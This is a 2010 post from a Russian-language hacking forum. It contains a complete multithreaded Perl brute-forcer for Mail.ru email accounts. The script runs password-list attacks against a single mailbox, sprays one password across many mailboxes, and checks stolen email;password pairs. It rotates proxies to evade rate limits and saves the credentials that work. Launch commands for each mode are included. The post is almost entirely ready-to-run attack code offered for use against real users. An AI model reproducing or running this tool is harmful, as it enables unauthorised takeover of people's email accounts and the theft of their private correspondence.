ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Mail.ru bruter
  #1  
Старый 19.01.2010, 10:33
Аватар для Pashkela
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию Mail.ru bruter

MAIL.RU bruter perl-скрипт

1. Брутит через стандартную пост-формочку наибычнейшей авторизации по адресу http://win.mail.ru/cgi-bin/auth

2. Возможность работы как с прокси так и без

3. Автосмена прокси

4. Возможность выставить кол-во попыток авторизации с одного прокси (доходит до последней - возвращается на первую - круговая система)

5. Многопоточный

6. Три режима работы:

примеры bat-файлов для запуска (win, никсы сами разберутся ):

===================================
Режим брута одного мыла, 10 потоков, таймаут 5 сек, без прокси:
Код:
cmd /k C:\Perl1\bin\perl.exe mail.ru.bruter.pl 0 10 5 0
Режим брута одного мыла, 10 потоков, таймаут 5 сек, юзать прокси, менять прокси каждые 10 попыток, после последней возвращается к первой и так по кругу:
Код:
cmd /k C:\Perl1\bin\perl.exe mail.ru.bruter.pl 0 10 5 1 10
===================================
Режим брута списка мыл по паролю, 10 потоков, таймаут 5 сек, без прокси:
Код:
cmd /k C:\Perl1\bin\perl.exe mail.ru.bruter.pl 1 10 5 0
Режим брута списка мыл по паролю, 10 потоков, таймаут 5 сек, юзать прокси, менять прокси каждые 10 попыток, после последней возвращается к первой и так по кругу:
Код:
cmd /k C:\Perl1\bin\perl.exe mail.ru.bruter.pl 1 10 5 1 10
===================================
Режим чека списка "мыло;пароль", 10 потоков, таймаут 5 сек, без прокси:
Код:
cmd /k C:\Perl1\bin\perl.exe mail.ru.bruter.pl 2 10 5 0
Режим чека списка "мыло;пароль", 10 потоков, таймаут 5 сек, юзать прокси, менять прокси каждые 10 попыток, после последней возвращается к первой и так по кругу:
Код:
cmd /k C:\Perl1\bin\perl.exe mail.ru.bruter.pl 2 10 5 1 10
===================================
Код:
#!/usr/bin/perl - UTF-8 encoding
use IO::Socket;
use threads;
use threads::shared;
my $num : shared;
my $i : shared;
my $z : shared;
#####################################################
my $login = "mail_login"; # логин - режим [0]
my $domain = "mail.ru"; # домен - режим [0]
my $password = "1234"; # пароль -режим[1]
$delimetr = ";"; # разделитель в списке мыло;пароль - режим [2]
$mode = $ARGV[0]; # режим брута: 
#0 - брутим одно мыло по словарю паролей 
#1 - брутим один пароль по словарю мыл
#2 - чекаем список мыло;пароль
$kol_threads = $ARGV[1]; # кол-во потоков 
$timeout = $ARGV[2]; # таймаут - в секундах
$proxy   = $ARGV[3]; # прокси - юзать или нет, 1 - да, 0 - нет
$attempt   = $ARGV[4]; # через сколько попыток менять прокси (если дойдет до последней - начнет с первой)
$proxy_file = "proxy.txt"; # файл с проксями
$passwords_file = "passwords.txt"; # файл с паролями - режим [0]
$mail_file = "mails.txt"; # файл с мылами - режим [1]
$mail_pass_file = "mails_pass.txt"; # файл с мылами и паролями - - режим [2]
$good_mail = "zgood.txt"; # удачные проверки, независимо от режима работы 
######################################################
print "----------------------------------------------------------\n";
print "Mail.ru bruter by Pashkela [ BugTrack Team ] (c) 2010\n";
print "----------------------------------------------------------\n";
$size = 0;
if ($proxy == 1) {
      open(FILE1, "<", $proxy_file);
      print " Mode - with proxy\n";
      while(<FILE1>) {
         chomp;
         if ($_) {push(@prox, $_);}
      }
      $size = @prox;
} else {
      print " Mode - no proxy\n";
}   
if ($mode == 0) {
   open(FILE2, "<", $passwords_file);
   while(<FILE2>) {
       chomp;
       if ($_) {push(@pass, $_);}
   }
   close(FILE2);
   $size1 = @pass;
   print "----------------------\n";
   print "Mail - " . $login . '@' . $domain . "\n";
   print "Threads - $kol_threads\n";
   print "Timeout - $timeout sec\n";
   print "Attempts for one proxy - $attempt\n";
   print "Proxies - $size\n";
   print "Passwords - $size1\n";
   print "----------------------\n";
}
if ($mode == 1) {
   open(FILE2, "<", $mail_file);
   while(<FILE2>) {
       chomp;
       if ($_) {push(@mail, $_);}
   }
   close(FILE2);
   $size1 = @mail;
   print "----------------------\n";
   print "Password - $password \n";
   print "Threads - $kol_threads\n";
   print "Timeout - $timeout sec\n";
   print "Attempts for one proxy - $attempt\n";
   print "Proxies - $size\n";
   print "Mails - $size1\n";
   print "----------------------\n";
}
if ($mode == 2) {
   open(FILE2, "<", $mail_pass_file);
   while(<FILE2>) {
       chomp;
       if ($_) {push(@mail_pass_file, $_);}
   }
   close(FILE2);
   $size1 = @mail_pass_file;
   print "----------------------\n";
   print "Mails for check - $size1 \n";
   print "Threads - $kol_threads\n";
   print "Timeout - $timeout sec\n";
   print "Attempts for one proxy - $attempt\n";
   print "Proxies - $size\n";
   print "----------------------\n";
}
open( FILE, ">>" . $good_mail ); # Файл для записи результатов
$thr = $kol_threads; # Кол-во потоков
$num = -1; # Не меняется
$i = 0;
$z = 0;
for(0..$thr) {
   $trl[$_] = threads->create(\&gets);
}
for(0..$thr) {
   $trl[$_]->join;
}
sub gets {
       $| = 1;
       while ($num < $size1) {
         { lock($num);
         $num++; }
         $z++;
         if ($mode == 0) {
              $password = "";
              $password = $pass[$num];
         }
         if ($mode == 1) {
               my ( $login, $domen ) = split( /@/, $mail[$num] );
         }
         if ($mode == 2) {
               my ( $mail, $password ) = split( /$delimetr/, $mail_pass_file[$num] );
               my ( $login, $domen ) = split( /@/, $mail );
         }                               
         if ($proxy == 1) {
            if ($z == $attempt) {
                   $z = 0;
                   if ($i < ($size-1)) {
                       $i++;
                       print "\n";
                   }
                   if ($i == ($size-1)) {
                       $i = 0;
                       print "\n";
                   }
            }
         }
         check();
         $num++;
         print $num . "\r";
         sleep 1;
       }   
}
# Functions ##################################################################################
sub check {         
         if ($proxy == 1) { 
             $current_proxy = $prox[$i];
             ($current_proxy_host,$current_proxy_port) = split(/:/,$current_proxy);
              print $num . "   current proxy: " . $current_proxy_host . ":" . $current_proxy_port . "[$i]\r";
         } else {
                print $num . "\r"; 
         }       
         if ($proxy == 1) { 
             $answ1 = req('win.mail.ru', '/cgi-bin/auth', 'POST', "Login=$login&Domain=$domain&Password=$password", 0);
         } else {
             $answ1 = req1('win.mail.ru', '/cgi-bin/auth', 'POST', "Login=$login&Domain=$domain&Password=$password", 0);
         }    
         $ck1 = collect($answ1);
         $answ1 =~ /<HTML>http:\/\/win.mail.ru(.+?)<\/HTML>/;
         if ($proxy == 1) { 
               req('win.mail.ru', $1, 'GET', 0, $ck1);
               $answ2 = req('win.mail.ru', '/cgi-bin/start?back=1', 'GET', 0, $ck1);
         } else {
               req1('win.mail.ru', $1, 'GET', 0, $ck1);
               $answ2 = req1('win.mail.ru', '/cgi-bin/start?back=1', 'GET', 0, $ck1);
         }      
         if ($answ2 =~ m/msglist/img) { 
             print "\n----------------------\n";
             print "[ Found password! Saved in $good_mail ]\n";
             print "----------------------\n\n\n\n\n";
             print FILE "mail: [". $login . '@' . $domain . "], password: " . $password . "\n";
             if ($mode == 0) {exit}
         }
}            
sub collect {
      my $data = $_[0];
      my $cookie = undef;
      while($data =~ /Set-Cookie: (.+?)(;|\r)/igs) {
         $cookie .= $1."; ";
      }
      return $cookie;
}
sub req {
      my($host, $path, $type, $data, $cookies) = @_;
      my $request = "$type $path HTTP/1.0\n".
      "Host: $host\n".
      "Cookie: $cookies\n";
      $request .= "Content-type: application/x-www-form-urlencoded\n".
      "Content-Length: ".length($data)."\n\n".$data;
      if ($socket=IO::Socket::INET->new( PeerAddr => $current_proxy_host, PeerPort => $current_proxy_port, PeerProto => 'tcp', TimeOut => $timeout)) {
                print $socket $request;
                my $answ = undef;
                $socket->autoflush(1);
                while(my $buf = <$socket>) {
                   $answ .= $buf;
                }
                close $socket;
                return $answ;
      }  
}
sub req1 {
    my($host, $path, $type, $data, $cookies) = @_;
    my $sock = new IO::Socket::INET(
			PeerAddr  => $host,
			PeerPort  => 80,
			PeerProto => 'tcp',
			TimeOut   => 5);
    my $request = "$type $path HTTP/1.0\n".
    "Host: $host\n".
    "Cookie: $cookies\n";
    if($type eq "POST") {
       $request .= "Content-type: application/x-www-form-urlencoded\n".
       "Content-Length: ".length($data)."\n\n".$data;
    } else {
       $request .= "\n";
    }
    print $sock $request;
    my $answ = undef;
    while(my $buf = <$sock>) {
        $answ .= $buf;
    }
    return $answ;
}

Последний раз редактировалось Pashkela; 24.01.2010 в 12:57..
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Получаем данные с другого домена через Flash на примере VK и mail.ru zavra Статьи 6 03.11.2009 23:45
Mail.ru SECRET bruter cylaaaan E-Mail 19 30.03.2009 01:39
Mail.ru Bruter v0.2 cylaaaan E-Mail 9 04.03.2009 04:14
mail.ru bruter. многопотоковый Don1=2 Разное - Покупка, продажа, обмен 10 03.03.2009 13:31



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ